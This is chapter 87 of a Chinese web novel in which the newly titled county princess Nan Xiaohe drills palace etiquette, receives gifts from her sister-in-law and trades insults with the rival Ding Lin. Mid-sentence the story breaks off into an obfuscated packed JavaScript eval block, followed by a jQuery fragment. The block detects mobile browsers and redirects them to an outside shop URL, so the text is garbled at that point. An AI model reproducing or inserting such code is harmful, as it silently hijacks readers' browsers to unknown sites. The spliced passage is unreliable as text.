87. 第 87 章

作品:《我的夫君也是穿越者

    南晓荷受封县主后的第二日,宫中便派来一位教习嬷嬷,来教南晓荷入宫谢恩的规矩。


    南晓荷一身素色襦裙站立在正厅中,此刻的她哈气连天,她一向晚睡,早晨的这个时间根本起不来床,是被燕儿拖起来的。


    教习嬷嬷端坐在太师椅上,着一身藏青色宫服,脊背挺得笔直,脸上没有半分笑意。


    “跪。”教习嬷嬷的声音不高,却带着不容置喙的威严。


    南晓荷根据她的指示,膝盖刚要接触到棉垫,一声严厉的呵斥声响起:“慢着。”


    她连忙停下动作,抬眼看了看教习嬷嬷。


    教习嬷嬷起身,几步来到她的身侧,伸手按在她的肩膀,“县主是金枝玉叶,跪礼要分场合,拜陛下需三跪九叩,拜皇后则是四拜礼,这俯身的角度,得拿捏得丝毫不差。”


    南晓荷上下眼皮在打架:“嬷嬷,我知道了。”


    她按照教习嬷嬷说的又跪了一次。


    教习嬷嬷抬手按了按她的脊背,道:“腰背要直,不可塌着,脖颈微颔,目光要垂在自己的鞋尖上,不可东张西望,县主明白了吗?”


    “明白了。”南晓荷又打了个哈气。


    “劳烦县主再来一次。”教习嬷嬷往后退一步,抱臂立着。


    南晓荷深吸一口气,屈膝、下跪、叩首,动作连贯了一些,可还是被挑出了错处。


    她因为太困,叩首时额头接触地面用力过猛,发出“咚咚”的响声。


    教习嬷嬷道:“不可发出声响,惊扰圣驾,也不可虚浮地挨着,显得不敬。”


    教习嬷嬷一面说,一面亲自示范,她双膝跪地时,裙摆纹丝不乱,叩首起身时,脊背始终挺直,整套动作行云流水,通着一股刻进骨子里的规矩。


    原本困乏的南晓荷,在一遍又一遍的跪地练习中,也精神了起来,此刻的她额角参出细密的汗珠,膝盖也跪得发疼。


    她道:“嬷嬷,可以休息一会儿再练吗?”


    “劳烦县主再坚持片刻。”


    南晓荷无语:天啊,这礼仪也太繁杂了吧?皇宫真不是人待的地方。


    教习嬷嬷道:“县主如若接赏赐时,这抬手的姿势也有规矩。”


    唉!苍天啊!


    “双手要呈捧月状,手腕要稳,不能抖,一抖便是失仪。”


    教习嬷嬷说罢,问道:“县主,可有认真听?”


    南晓荷嘟囔道:“听得,听得。”


    教习嬷嬷的目光锐利如鹰,“县主回话时,声音要清,不可过响,也不可过轻,陛下与皇后娘娘日理万机,哪有功夫听县主蚊子一般的低语?还有,无论问县主什么,县主都要先答‘臣女遵旨’不可自称‘我’,不可抢话,不可辩白,问什么答什么,县主可听明白了?”


    南晓荷仰起头回答:“听明白了,谢谢嬷嬷。”


    教习嬷嬷见南晓荷这样的状态,又嘱咐了一句,“县主进宫谢恩的时候,切记不可在殿中抬头直视天颜,那是大不敬的罪过,轻则禁足,重则......”


    她没有把话说透,眼底虽有一丝不悦,但又敢怒不敢言,只是淡淡的说了一句:“县主,老奴该教的都已经教完,只需县主自行练习熟练即可。”


    “好,有劳嬷嬷了。”


    “县主客气了。”教习嬷嬷行礼退了出去。


    南晓荷紧绷的神经放松了开来,斜坐在椅子上,翘着二郎腿,伸了伸懒腰,又揉了揉跪麻的膝盖,道:“以后,能不入宫,坚决不入宫,这宫中戒备森严,别回头一个小差错就要了我的小命。”


    话音未落又打了个哈欠,转身回房,正准备去睡个回笼觉。


    王芷瑶走了进来,她身后还跟着几个小厮,小厮手中拿着好多东西。


    南晓荷玩笑道:“嫂子,你人来我就很开心了,怎么还大包小包的?”


    王芷瑶和南阳的婚期已经定下了,所以她听到南晓荷叫她嫂子,她已经不再害羞了。


    她亲自去找了一家老字号铁器铺,为南晓荷定制了一套海棠纹雕花厨具,还寻来了不少西域香料,这些香料在京城中少见。


    南晓荷喜爱下厨,喜欢研究菜系,一见到这些宝贝,如得到金山银山一般开心,她的眸子发亮,指尖小心翼翼的摸着锅沿,发现厨具上面都刻有“知知”二字,这可是王芷瑶为她量身定做的呢?


    “往后知知做菜,用这趁手的家伙,定能做出更鲜美的滋味。”


    “嗯,谢谢嫂子。”


    南晓荷抱着王芷瑶蹦跶。


    “好妹妹,你先放开我,还有好东西要给你。”


    “还有什么?”南晓荷兴奋道。


    王芷瑶笑着替她理了理额前的碎发,将一个楠木匣子递给南晓荷。


    南晓荷刚打开,就被里头的手抄菜谱勾的挪不开眼,她指着上面的小画,“嫂子,这也太好看了吧?这本菜谱你从哪里得来的?应该费了不少功夫吧?”


    “这是祖母传下来的秘方,原本磨损严重,我便亲手誊抄了一遍,边角的小画,画的不好,你别嫌弃。”


    “嫂子,画的明明那么好看,你也太谦虚啦!”


    “你既爱做菜,我想这些方子正好合你的心意。”


    南晓荷将菜谱抱入怀中,激动道:“嗯,谢谢嫂子,嫂子你为什么对我这么好?”


    “你是我妹妹啊,不对你好,对谁好?”


    “知知...你规矩学完了吗?今日还练枪吗?”南阳搁着老远,大嗓门便传来了,他拿着一把红缨枪大步向正厅走来。


    走近才看到王芷瑶,开心道:“芷瑶你来啦?”


    王芷瑶见到南阳过来了,立马以面纱遮面,她道:“我是来给知知送礼物的,东西已经送到了,我先回去了。”


    南阳一把抓住她的手腕,“芷瑶,你来都来到了,在这用完午膳再回去吧!”


    “浩泽哥哥,我们两家已经交换了庚帖,婚期已定,按照规矩成亲前我们不能再见面了。”


    王芷瑶抽手小跑着离开,南阳望着她离开的背影,轻声换了几声:“芷瑶…芷瑶...”


    可王芷瑶却头也不回的离开了。


    南晓荷拍了拍南阳的肩膀,“哥哥,你去吧!我累了,去补觉了,午后再去练枪。”


    话语未落,她便打着哈欠离开。


    南阳无奈的摇摇头:“哦,好吧!”


    ......


    两日后,依着礼制南晓荷进宫谢恩,先是去叩见了升平帝,她行了三跪九叩大礼后,宫人领着她和王芷瑶前往中宫拜见皇后娘娘。


    朱墙高耸,宫道寂静,南晓荷身着升平帝赐的瞿纹霞帔,正稳步前行。


    忽然被一行人拦了去路,抬头见是月安县主丁琳。


    她一身石榴红织金襦裙,裙摆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301897|195494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    扫过阶前,鬓边赤金步摇慌得刺眼,目光像是淬了冰,“哟,这不是新晋的永宁县主吗?”


    她绕着南晓荷身边走了一圈,“不过是沾了你哥的光,竟也能穿得上这身诰命服?”


    南晓荷咧嘴笑了笑:“我沾我的哥的光怎么了?你不也是沾你姐姐皇后娘娘的光吗?”


    “你...”丁琳被南晓荷这话堵的哑口无言,转而又嘲讽道:“我听说某人大年初一在大庭广众之下濠头大哭,要我说啊,陛下也就是看在你们南家死的死,伤的伤,看你可怜才赏你个县主之位,不过可惜,这一身衣服再华贵,你穿着倒像沐猴而冠。”


    南晓荷听了不怒反笑道:“呵呵...我沐猴而冠?你呢?”


    她也学着刚刚丁琳打量她那般,围着她转了一圈,“你不也一样?我们半斤八两。”


    “你...”丁琳说不过南晓荷,伸手便要打她。


    被王芷瑶拦住了,“丁琳妹妹,永宁县主是奉旨谢恩,你若再加阻拦,便是抗旨,你担得起?”


    丁琳的目光一直盯在南晓荷身上,没注意站在一旁的王芷瑶。


    她立马陪着笑脸道:“哟,是芷瑶姐姐啊?芷瑶姐姐好久不见啊?芷瑶姐姐今日怎么有空也进宫啦?妹妹听闻你就要嫁给镇北侯那样的残...呃...”


    她顿了顿,小声嘲讽道:“呃…老姑娘配残疾,绝配啊,妹妹恭喜姐姐。”


    王芷瑶故意盯着丁琳脸上的鞭痕看了看,微笑道:“谢谢丁琳妹妹,妹妹你可要抓紧了,好好养伤,别回头连个残疾都捞不到。”


    “你...”丁琳捂着脸,气急败坏,呲牙咧嘴,像是一只被拔了牙且无能的老虎,在那干吼吓唬人。


    外界一直在传南阳腿疾严重,恐不能人道,这男人都不行了,王芷瑶还执意要嫁给他,开始人们都在夸赞她是个有情有义的女子,后来有人说她都过了22岁了,俨然成了嫁不出去的老姑娘了,没人肯娶她,所以她只能嫁给南阳这样不能人道的男子。


    丁琳拿此事羞辱王芷瑶。


    王芷瑶和南晓荷只想着快点拜见完皇后离开,不想再搭理丁琳。


    南晓荷脸上没有任何表情,只冷冷的说了一句:“请月安县主让开。”


    “我就不让,你能拿我怎么样?”


    南晓荷直接推开了丁琳,“切,好狗不挡道,懂吗?”


    “南晓荷...你...”


    月安县主上前阻拦,被她身旁的丫鬟溪云劝住了,她道:“县主息怒,南晓荷圣眷正浓,咱们不能犯难于她,不能在今日,更不能在宫中,否则等于公然驳陛下的面子,如果再有人去陛下跟前嚼一嗓子,县主,咱们岂不是吃不了兜走?小不忍则乱大谋。”


    丁琳望着南晓荷和王芷瑶远去的背影,眸子变得越发阴沉,眼眶像是被火烧红一般,愤愤道:“南晓荷,你给我等着。”


    丁琳被溪云劝住了,“县主,您放心,皇后娘娘定是会帮您出气的。”


    “对,你说的没错,姐姐最是疼我了,她一定不会让南晓荷好过的。”


    溪云眼珠滴溜一转,似乎想多了对付南晓荷的方式,她对着丁琳耳边小声道:“……”


    丁琳听完满意的点点头,“好,就这么做,等她出宫......”


    “是,县主,那...咱们先回去好不好?”


    “哼,走吧!”